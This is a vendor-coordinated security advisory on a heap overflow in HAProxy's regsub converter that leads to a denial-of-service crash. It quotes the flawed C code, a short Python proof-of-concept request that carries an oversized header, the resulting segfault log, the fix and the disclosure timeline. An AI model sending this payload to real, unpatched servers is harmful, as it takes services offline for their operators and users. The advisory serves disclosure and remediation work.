

Security Advisory
HAProxy - Heap Overflow in regsub converter leading to Denial of Service

Created by Aleandro Prudenzano, Edoardo Geraci
04/02/2025

Overview

This document summarizes the results of a vulnerability research activity aimed at discovering vulnerabilities in the converter functions of the latest HAProxy version. While security testing was not meant to be comprehensive in term of attack and code coverage, we have identified one (1) vulnerability that could lead to Denial of Service.

About Us

Doyensec is an independent security research and development company focused on vulnerability discovery and remediation. We work at the intersection of software development and offensive engineering to help companies craft secure code.

Research is one of our founding principles and we invest heavily in it. By discovering new vulnerabilities and attack techniques, we constantly improve our capabilities and contribute to secure the applications we all use.

Copyright 2025. Doyensec LLC. All rights reserved.

Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given. The information in the advisory is believed to be accurate at the time of publishing based on currently available information, and it is provided as-is, as a free service to the community by Doyensec LLC. There are no warranties with regard to this information, and Doyensec LLC does not accept any liability for any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this information.

1. Heap Overflow in regsub converter leading to Denial of Service	
Vendor	HAProxy
Severity	**Low**
Vulnerability Class	Denial of Service
Component	regsub converter
Status	Closed
CVE	N/A
Credits	Aleandro Prudenzano of Doyensec - https://doyensec.com Edoardo Geraci of Codean Labs - https://codeanlabs.com/

Summary

HAProxy regsub converter can be used during requests handling in order to rewrite part of the request. By specifying a regex and a value, the web-server will substitute all the regex matches with the provided string value.

During the substitution, an heap overflow on a trash chunk can happen inducing a crash in the web-server.

Technical Description

As an example, we can use the following configuration:

```
http-request set-header x-path "%[hdr(x-path),regsub('\d','PWN','g')]"
```

In which we are asking to substitute every digit appearing in the `x-path` header with the string `PWN`.

Looking at how the `regsub` converter is implemented in the function `sample_conv_regsub`:
https://github.com/haproxy/haproxy/blob/9b53a4a7fb364c492681265b9844848c57fe82c2/src/sample.c#L3125

```
static int sample_conv_regsub(const struct arg *arg_p, struct sample *smp,
void *private)
{
      […]
```

```
        struct buffer *trash = get_trash_chunk();
        […]
        while (1) {
                […]

                output->data = exp_replace(output->area, output->size, start,
arg_p[1].data.str.area, pmatch);

                /* replace the matching part */
                max = output->size - output->data;
                if (max) {
                        if (max > output->data)
                                max = output->data;
                        memcpy(trash->area + trash->data,
                               output->area, max);
                        trash->data += max;
                }

                free_trash_chunk(output);

                /* stop here if we're done with this string */
                if (start >= end)
                        break;

                […]
        }

        smp->data.u.str = *trash;
        return 1;
}
```

we can notice that when substituting the matching part with the provided string value the check for the size is done on the buffer `output`, but then the data is copied on the `trash->area` buffer, whose available size is not checked.

As a Proof-of-Concept for the crash you can issue the following request to the previous configuration:

exploit.py

```
import requests

headers = {
    "x-path": '11'*(6000),
}

r = requests.get("http://localhost/index.php", headers=headers)

print(r.status_code)
```

Which results in the following fatal crash:

```
haproxy-1  | [NOTICE]   (1) : Loading success.
haproxy-1  | [NOTICE]   (1) : haproxy version is 3.1.6-d929ca2
haproxy-1  | [NOTICE]   (1) : path to executable is /usr/local/sbin/haproxy
haproxy-1  | [ALERT]    (1) : Current worker (8) exited with code 139 (Segmentation fault)
haproxy-1  | [WARNING]  (1) : A worker process unexpectedly died and this can only be explained by a bug in haproxy or its dependencies.
haproxy-1  | Please check that you are running an up to date and maintained version of haproxy and open a bug report.
haproxy-1  | [ALERT]    (1) : exit-on-failure: killing every processes with SIGTERM
haproxy-1  | [WARNING]  (1) : All workers exited. Exiting... (139)
haproxy-1  | HAProxy version 3.1.6-d929ca2 2025/03/20 - https://haproxy.org/
haproxy-1  | Status: stable branch - will stop receiving fixes around Q1 2026.
haproxy-1  | Known bugs: http://www.haproxy.org/bugs/bugs-3.1.6.html
haproxy-1  | Running on: Linux 6.6.12-linuxkit #1 SMP PREEMPT_DYNAMIC Fri Jan 19 12:50:23 UTC 2024 x86_64
haproxy-1 exited with code 139
```

Given that the string value to substitute to should not be user provided but rather hardcoded in the configuration we exclude that the vulnerability can be abused to obtain Remote-Code-Execution.

Remediation

Correctly check the boundaries of the trash chunk before appending the string.

```
max = trash->size - trash->data;
if (max) {
      if (max > output->data)
            max = output->data;
      memcpy(trash->area + trash->data,
                  output->area, max);
      trash->data += max;
}
```

Disclosure timeline

04/03/2025 - Issue reported to the maintainers

04/03/2025 - Maintainers acknowledged the bug

04/07/2025 - Fix was committed to the GitHub repository of the project as commit `3e3b9ee`

04/09/2025 - CVE-2025-32464 was assigned to the vulnerability

05/13/2025 - Advisory released